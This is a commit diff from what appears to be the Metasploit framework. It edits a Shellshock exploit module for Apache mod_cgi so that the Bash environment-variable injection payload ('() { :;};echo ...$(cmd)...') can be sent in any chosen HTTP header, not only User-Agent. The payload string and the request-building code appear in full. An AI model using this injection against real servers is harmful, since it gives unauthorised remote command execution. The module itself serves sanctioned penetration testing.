Skip to content

Commit fe12ed0

Browse files
committed
Support a user defined header in the exploit too
1 parent 64dbc39 commit fe12ed0

File tree

1 file changed

+6
-3
lines changed

1 file changed

+6
-3
lines changed

modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info = {})
1717
'Description' => %q{
1818
This module exploits a code injection in specially crafted environment
1919
variables in Bash, specifically targeting Apache mod_cgi scripts through
20-
the HTTP_USER_AGENT variable.
20+
the HTTP_USER_AGENT variable by default.
2121
},
2222
'Author' => [
2323
'Stephane Chazelas', # Vulnerability discovery
@@ -58,7 +58,8 @@ def initialize(info = {})
5858

5959
register_options([
6060
OptString.new('TARGETURI', [true, 'Path to CGI script']),
61-
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]),
61+
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
62+
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
6263
OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]),
6364
OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']),
6465
OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
@@ -117,7 +118,9 @@ def req(cmd)
117118
{
118119
'method' => datastore['METHOD'],
119120
'uri' => normalize_uri(target_uri.path.to_s),
120-
'agent' => "() { :;};echo #{marker}$(#{cmd})#{marker}"
121+
'headers' => {
122+
datastore['HEADER'] => "() { :;};echo #{marker}$(#{cmd})#{marker}"
123+
}
121124
}, datastore['TIMEOUT'])
122125
end
123126

0 commit comments

Comments
 (0)